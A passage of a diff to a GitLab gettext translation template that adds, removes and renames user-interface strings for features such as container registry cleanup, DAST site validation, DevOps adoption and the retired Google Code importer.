+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4685,9 +4864,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4829,6 +5005,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5141,6 +5314,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5309,7 +5485,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5870,9 +6049,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6308,7 +6487,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6648,6 +6827,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6771,9 +6953,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -6969,7 +7151,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7101,7 +7304,16 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -7996,6 +8217,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8120,9 +8344,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8498,7 +8746,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8984,6 +9229,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9002,6 +9250,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9462,9 +9779,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10167,6 +10499,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10554,6 +10889,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10632,6 +10970,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11148,6 +11498,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11187,12 +11540,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr "2月"
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11488,7 +11850,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11614,12 +11976,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11644,9 +12000,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11692,9 +12045,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11779,6 +12129,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12295,6 +12645,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12538,15 +12894,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13375,6 +13722,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13524,9 +13874,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13668,6 +14015,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13799,9 +14143,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13832,6 +14173,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13865,6 +14209,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14162,9 +14503,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14187,73 +14525,79 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
